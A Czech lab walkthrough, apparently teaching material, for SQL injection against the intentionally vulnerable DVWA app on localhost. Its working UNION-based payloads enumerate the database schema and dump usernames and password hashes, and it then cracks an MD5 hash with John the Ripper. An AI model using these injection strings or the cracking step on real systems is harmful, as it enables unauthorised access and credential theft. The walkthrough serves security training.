A1 – Injektování – SQL Injection

- http://localhost/dvwa/ admin / password
- Nejdříve do pole „User ID:“ vložte číslo 1
- Submit
- Aplikace správně zobrazuje informace o uživateli, jemuž náleží ID 1.
- Do pole „User ID:“ vložte řetězec %' or '0'='0
- Submit
- Interpretace: mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
- Podívejte se, jak vypadá zdrojový kód (zejména SQL dotaz) pomocí tlačítka „View Source“.

- **Zobrazte si verzi databáze:**
- Do pole „User ID:“ vložte řetězec %' or 0=0 union select null, version() #
- Submit
- Na posledním řádku je zobrazena verze používané databáze.

- **Zobrazte si databázového uživatele:**
- Do pole „User ID:“ vložte řetězec %' or 0=0 union select null, user() #
- Submit
- Na posledním řádku je zobrazen databázový uživatel. To je uživatel, který realizoval PHP kód.

- **Zobrazte si jméno databáze:**
- Do pole „User ID:“ vložte řetězec %' or 0=0 union select null, database() #
- Submit
- Na posledním řádku je zobrazen název databáze.

- **Zobrazte si všechny tabulky v information_schema** (pozn.: Informační schéma (information_schema) je standardní schéma, které vám poskytuje metadata o databázi (metadata = data o datech). Protože se jedná o standard, měl by toto schéma implementovat každý DBMS. Tabulky v informačním schématu jsou obvykle implementovány jako pohledy (views). Můžete si z nich přečíst (vyselectovat) různé informace o databázi.):
- Do pole „User ID:“ vložte řetězec %' and 1=0 union select null, table_name from information_schema.tables #
- Submit
- Z information_schema jsou zobrazeny všechny tabulky.

- **Zobrazte si tabulky s prefixem user:**
- Do pole „User ID:“ vložte řetězec %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

- Submit
- Jsou zobrazeny všechny tabulky s prefixem user.

- **Zobrazte si všechny sloupce v tabulce user (information_schema):**
- Do pole „User ID:“ vložte řetězec %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
- Submit
- Jsou zobrazeny všechny sloupce z tabulky users. Určitě zajímavé pro nás jsou sloupce user_id, first_name, last_name, user, password.

- **Zobrazte si informace ze sloupců, které vás zajímají:**
- Do pole „User ID:“ vložte řetězec %' and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
- Jsou zobrazeny všechny autentizační údaje.

Pozn. (vyzkoušejte třeba doma): Hesla jsou hešovaná. S MD5 si můžeme poradit pomocí nástroje John the Ripper: http://www.openwall.com/john/

- Do souboru dvwa_password.txt uložit hash s uživateslkým jménem:
- admin:5f4dcc3b5aa765d61d8327deb882cf99
- ./john --format=raw-MD5 dvwa_password.txt

Pozn. : SQL Injection (Blind) – Aplikace je náchylná k SQL injection, ale útočníkovi se nezobrazuje výsledek. Zpravidla Blind SQL Injection stojí na začátku SQL Injection, kdy útočník již ví, kde a jak si zobrazovat výstupy SQL dotazu.